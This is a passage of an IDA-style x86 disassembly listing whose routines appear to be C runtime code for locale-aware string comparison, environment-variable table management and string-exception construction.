		cmp	[ebp+arg_4], ecx
		jz	short loc_41A572
		push	esi
		push	edi


loc_41A533:				; CODE XREF: sub_41A4F9+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41A56B
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41A55E
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41A55E:				; CODE XREF: sub_41A4F9+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41A2D9
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41A56B:				; CODE XREF: sub_41A4F9+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41A533
		pop	edi
		pop	esi


loc_41A572:				; CODE XREF: sub_41A4F9+14j
					; sub_41A4F9+36j
		pop	ebx
		leave
		retn
sub_41A4F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A575	proc near		; CODE XREF: sub_41A116+5Ep
					; sub_41AAC7+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41A582
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A582:				; CODE XREF: sub_41A575+7j
		push	ds:dword_45FF44
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_460164
		call	sub_41A698
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A5AF
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41A5AF:				; CODE XREF: sub_41A575+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41A575	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5B4	proc near		; CODE XREF: sub_41A116+1Ep
					; sub_41A940+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_45EB44
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41A615
		mov	ebx, ds:dword_41C128


loc_41A5CD:				; CODE XREF: sub_41A5B4+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_41C128
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41A61D
		push	ebp
		call	sub_410AEB
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41A61D
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_41C128
		test	eax, eax
		jz	short loc_41A61D
		push	edi
		push	[esp+18h+var_4]
		call	sub_41A940
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41A5CD


loc_41A615:				; CODE XREF: sub_41A5B4+11j
		xor	eax, eax


loc_41A617:				; CODE XREF: sub_41A5B4+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41A61D:				; CODE XREF: sub_41A5B4+29j
					; sub_41A5B4+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A617
sub_41A5B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A622	proc near		; CODE XREF: sub_41A193+8Bp
					; sub_41A193+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_45FF40
		jnb	short loc_41A689
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FE40[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41A689
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41A662
		and	cl, 7Fh
		jmp	short loc_41A66F
; ---------------------------------------------------------------------------


loc_41A662:				; CODE XREF: sub_41A622+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41A67D
		or	cl, 80h


loc_41A66F:				; CODE XREF: sub_41A622+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A67D:				; CODE XREF: sub_41A622+48j
		mov	ds:dword_45EB14, 16h
		jmp	short loc_41A693
; ---------------------------------------------------------------------------


loc_41A689:				; CODE XREF: sub_41A622+Bj
					; sub_41A622+27j
		mov	ds:dword_45EB14, 9


loc_41A693:				; CODE XREF: sub_41A622+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41A622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A698	proc near		; CODE XREF: sub_41A575+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41CC18
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_45EDFC, ebx
		push	1
		pop	edi
		jnz	short loc_41A70B
		push	edi
		mov	eax, offset dword_41C868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41C008	; CompareStringW
		test	eax, eax
		jz	short loc_41A6E8
		mov	ds:dword_45EDFC, edi
		jmp	short loc_41A70B
; ---------------------------------------------------------------------------


loc_41A6E8:				; CODE XREF: sub_41A698+46j
		push	edi
		mov	eax, offset dword_42E654
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41C00C	; CompareStringA
		test	eax, eax
		jz	loc_41A901
		mov	ds:dword_45EDFC, 2


loc_41A70B:				; CODE XREF: sub_41A698+31j
					; sub_41A698+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41A722
		push	esi
		push	[ebp+arg_8]
		call	sub_41A915
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41A722:				; CODE XREF: sub_41A698+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41A737
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41A915
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41A737:				; CODE XREF: sub_41A698+8Dj
		mov	eax, ds:dword_45EDFC
		cmp	eax, 2
		jnz	short loc_41A75C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41C00C	; CompareStringA
		jmp	loc_41A903
; ---------------------------------------------------------------------------


loc_41A75C:				; CODE XREF: sub_41A698+A7j
		cmp	eax, edi
		jnz	loc_41A901
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41A771
		mov	eax, ds:dword_45EBB0
		mov	[ebp+arg_18], eax


loc_41A771:				; CODE XREF: sub_41A698+CFj
		cmp	esi, ebx
		jz	short loc_41A77E
		cmp	[ebp+arg_14], ebx
		jnz	loc_41A816


loc_41A77E:				; CODE XREF: sub_41A698+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41A78B


loc_41A783:				; CODE XREF: sub_41A698+13Cj
					; sub_41A698+16Dj
		push	2


loc_41A785:				; CODE XREF: sub_41A698+146j
		pop	eax
		jmp	loc_41A903
; ---------------------------------------------------------------------------


loc_41A78B:				; CODE XREF: sub_41A698+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41A797


loc_41A790:				; CODE XREF: sub_41A698+151j
					; sub_41A698+159j ...
		mov	eax, edi
		jmp	loc_41A903
; ---------------------------------------------------------------------------


loc_41A797:				; CODE XREF: sub_41A698+F6j
		cmp	esi, edi
		jg	short loc_41A7DC
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0A70000h
		icebp
		test	eax, eax
		jz	loc_41A901
		cmp	esi, ebx
		jle	short loc_41A7E0
		cmp	[ebp+var_3C], 2
		jb	short loc_41A7DC
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41A7DC


loc_41A7C2:				; CODE XREF: sub_41A698+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41A7DC
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41A7D6
		cmp	cl, dl
		jbe	short loc_41A783


loc_41A7D6:				; CODE XREF: sub_41A698+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A7C2


loc_41A7DC:				; CODE XREF: sub_41A698+101j
					; sub_41A698+120j ...
		push	3
		jmp	short loc_41A785
; ---------------------------------------------------------------------------


loc_41A7E0:				; CODE XREF: sub_41A698+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41A816
		cmp	[ebp+var_3C], 2
		jb	short loc_41A790
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41A790


loc_41A7F3:				; CODE XREF: sub_41A698+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41A790
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41A80B
		cmp	cl, dl
		jbe	loc_41A783


loc_41A80B:				; CODE XREF: sub_41A698+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A7F3
		jmp	loc_41A790
; ---------------------------------------------------------------------------


loc_41A816:				; CODE XREF: sub_41A698+E0j
					; sub_41A698+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_41C12C	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41A901
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_411C60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A865
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41A865:				; CODE XREF: sub_41A698+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41A901
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_41C12C
		call	esi ; dword_41C12C
		test	eax, eax
		jz	short loc_41A901
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_41C12C
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41A901
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_411C60
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A8D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41A8D0:				; CODE XREF: sub_41A698+224j
		cmp	edi, ebx
		jz	short loc_41A901
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41C12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A901
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41C008	; CompareStringW
		jmp	short loc_41A903
; ---------------------------------------------------------------------------


loc_41A901:				; CODE XREF: sub_41A698+63j
					; sub_41A698+C6j ...
		xor	eax, eax


loc_41A903:				; CODE XREF: sub_41A698+BFj
					; sub_41A698+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A698	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A915	proc near		; CODE XREF: seg000:00416BA5p
					; sub_41A698+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_41A932


loc_41A925:				; CODE XREF: sub_41A915+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_41A932
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_41A925


loc_41A932:				; CODE XREF: sub_41A915+Ej
					; sub_41A915+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_41A93D
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_41A93D:				; CODE XREF: sub_41A915+21j
		mov	eax, edx
		retn
sub_41A915	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A940	proc near		; CODE XREF: sub_41A5B4+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41A9A4
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41AB86
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41A9A4
		cmp	[ebp+arg_0], esi
		jz	short loc_41A9A4
		mov	eax, ds:dword_45EB3C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_45EB40
		jnz	short loc_41A98A
		push	eax
		call	sub_41AB1F
		pop	ecx
		mov	ds:dword_45EB3C, eax


loc_41A98A:				; CODE XREF: sub_41A940+3Cj
		cmp	eax, edi
		jnz	short loc_41A9E2
		cmp	[ebp+arg_4], edi
		jz	short loc_41A9AC
		cmp	ds:dword_45EB44, edi
		jz	short loc_41A9AC
		call	sub_41A5B4
		test	eax, eax
		jz	short loc_41A9E2


loc_41A9A4:				; CODE XREF: sub_41A940+Dj
					; sub_41A940+22j ...
		or	eax, 0FFFFFFFFh


loc_41A9A7:				; CODE XREF: sub_41A940+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A9AC:				; CODE XREF: sub_41A940+51j
					; sub_41A940+59j
		cmp	ebx, edi
		jnz	loc_41AAC0
		push	4
		call	sub_410AEB
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45EB3C, eax
		jz	short loc_41A9A4
		mov	[eax], edi
		cmp	ds:dword_45EB44, edi
		jnz	short loc_41A9E2
		push	4
		call	sub_410AEB
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45EB44, eax
		jz	short loc_41A9A4
		mov	[eax], edi


loc_41A9E2:				; CODE XREF: sub_41A940+4Cj
					; sub_41A940+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_45EB3C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41AAC7
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41AA42
		cmp	dword ptr [edi], 0
		jz	short loc_41AA42
		test	ebx, ebx
		jz	short loc_41AA3A
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_410B5F
		pop	ecx


loc_41AA14:				; CODE XREF: sub_41A940+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41AA24
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41AA14
; ---------------------------------------------------------------------------


loc_41AA24:				; CODE XREF: sub_41A940+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41230F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41AA74
		jmp	short loc_41AA6F
; ---------------------------------------------------------------------------


loc_41AA3A:				; CODE XREF: sub_41A940+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41AA74
; ---------------------------------------------------------------------------


loc_41AA42:				; CODE XREF: sub_41A940+BDj
					; sub_41A940+C2j
		test	ebx, ebx
		jnz	short loc_41AAC0
		test	esi, esi
		jge	short loc_41AA4C
		neg	esi


loc_41AA4C:				; CODE XREF: sub_41A940+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41230F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A9A4
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41AA6F:				; CODE XREF: sub_41A940+F8j
		mov	ds:dword_45EB3C, eax


loc_41AA74:				; CODE XREF: sub_41A940+F6j
					; sub_41A940+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41AAC0
		push	[ebp+arg_0]
		call	sub_410A70
		inc	eax
		inc	eax
		push	eax
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41AAC0
		push	[ebp+arg_0]
		push	esi
		call	sub_411AD0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0A70000h
		scasb
		push	esi
		call	sub_410B5F
		pop	ecx


loc_41AAC0:				; CODE XREF: sub_41A940+6Ej
					; sub_41A940+104j ...
		xor	eax, eax
		jmp	loc_41A9A7
sub_41A940	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AAC7	proc near		; CODE XREF: sub_41A940+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_45EB3C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41AB02
		mov	edi, [esp+8+arg_4]


loc_41AAD9:				; CODE XREF: sub_41AAC7+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41A575
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41AAF8
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41AB12
		test	al, al
		jz	short loc_41AB12


loc_41AAF8:				; CODE XREF: sub_41AAC7+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41AAD9


loc_41AB02:				; CODE XREF: sub_41AAC7+Cj
		mov	eax, esi
		sub	eax, ds:dword_45EB3C
		sar	eax, 2
		neg	eax


loc_41AB0F:				; CODE XREF: sub_41AAC7+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AB12:				; CODE XREF: sub_41AAC7+2Bj
					; sub_41AAC7+2Fj
		mov	eax, esi
		sub	eax, ds:dword_45EB3C
		sar	eax, 2
		jmp	short loc_41AB0F
sub_41AAC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB1F	proc near		; CODE XREF: sub_41A940+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41AB2E
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41AB2E:				; CODE XREF: sub_41AB1F+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41AB40


loc_41AB36:				; CODE XREF: sub_41AB1F+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41AB36


loc_41AB40:				; CODE XREF: sub_41AB1F+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41AB61
		push	9
		call	sub_412A6E
		pop	ecx


loc_41AB61:				; CODE XREF: sub_41AB1F+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41AB65:				; CODE XREF: sub_41AB1F+5Bj
		test	eax, eax
		jz	short loc_41AB7C
		push	eax
		add	ebx, 4
		call	sub_41ABF9
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41AB65
; ---------------------------------------------------------------------------


loc_41AB7C:				; CODE XREF: sub_41AB1F+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41AB1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB86	proc near		; CODE XREF: sub_41A940+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_45FF5C, 0
		jnz	short loc_41ABA1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4126F0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41ABA1:				; CODE XREF: sub_41AB86+Aj
		mov	ecx, [ebp+arg_0]


loc_41ABA4:				; CODE XREF: sub_41AB86+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41ABE7
		movzx	edx, al
		test	ds:byte_460061[edx], 4
		jz	short loc_41ABD3
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41ABDE
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41ABE2
		jmp	short loc_41ABDB
; ---------------------------------------------------------------------------


loc_41ABD3:				; CODE XREF: sub_41AB86+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41ABE7


loc_41ABDB:				; CODE XREF: sub_41AB86+4Bj
		inc	ecx
		jmp	short loc_41ABA4
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AB86+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41ABE2:				; CODE XREF: sub_41AB86+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41ABE7:				; CODE XREF: sub_41AB86+25j
					; sub_41AB86+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41AB86	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABF9	proc near		; CODE XREF: sub_406518+21p
					; sub_41AB1F+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41AC20
		push	esi
		call	sub_410A70
		inc	eax
		push	eax
		call	sub_410AEB
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41AC20
		push	esi
		push	eax
		call	sub_411AD0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41AC20:				; CODE XREF: sub_41ABF9+7j
					; sub_41ABF9+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41ABF9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41AC30	proc near		; CODE XREF: sub_402576+15p
					; sub_4025CF+15p ...
		mov	eax, offset loc_41B124
		call	sub_41117C
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_402779
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_410A70
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_4027B5
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41AC8A
		lea	eax, [ebp-3Ch]
		push	offset dword_41CF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41CC34
		call	sub_41B08B
		pop	esi
sub_41AC30	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AC8A	proc near		; CODE XREF: sub_41AC30+3Fp
					; sub_41AE5C+3Fp
		mov	eax, offset loc_41B138
		call	sub_41117C
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_42E658
		call	sub_41AFB0
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_402779
		push	ds:dword_41C240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_402626
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41CC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41AC8A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ACEE	proc near		; DATA XREF: seg001:0041CC38o
					; seg001:0041CC58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41ACFA
		mov	eax, offset dword_41C250

locret_41ACFA:				; CODE XREF: sub_41ACEE+5j
		retn
sub_41ACEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACFB	proc near		; DATA XREF: seg001:0041CC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41AD71
		lea	eax, [ebp+var_1C]
		push	offset dword_41CFE8
		push	eax
		call	sub_41B08B
sub_41ACFB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AD18	proc near		; CODE XREF: seg000:0041AD58p
					; DATA XREF: seg001:0041CFECo
		mov	eax, offset loc_41B14C
		call	sub_41117C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402779
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B037
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41AD18	endp

; ---------------------------------------------------------------------------


loc_41AD55:				; DATA XREF: seg001:off_41CC54o
		push	esi
		mov	esi, ecx
		call	sub_41AD18
		test	byte ptr [esp+8], 1
		jz	short loc_41AD6B
		push	esi
		call	sub_41119B
		pop	ecx


loc_41AD6B:				; CODE XREF: seg000:0041AD62j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41AD71	proc near		; CODE XREF: sub_41ACFB+Ap
					; sub_41AE44+7p ...
		mov	eax, offset loc_41B160
		call	sub_41117C
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41AFED
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_402779
		push	ds:dword_41C240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_402626
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41CC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41AD71	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADCE	proc near		; CODE XREF: sub_41AE0B+20p
					; DATA XREF: seg001:0041CF7Co
		mov	eax, offset loc_41B174
		call	sub_41117C
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41CC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_402779
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41B037
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41ADCE	endp


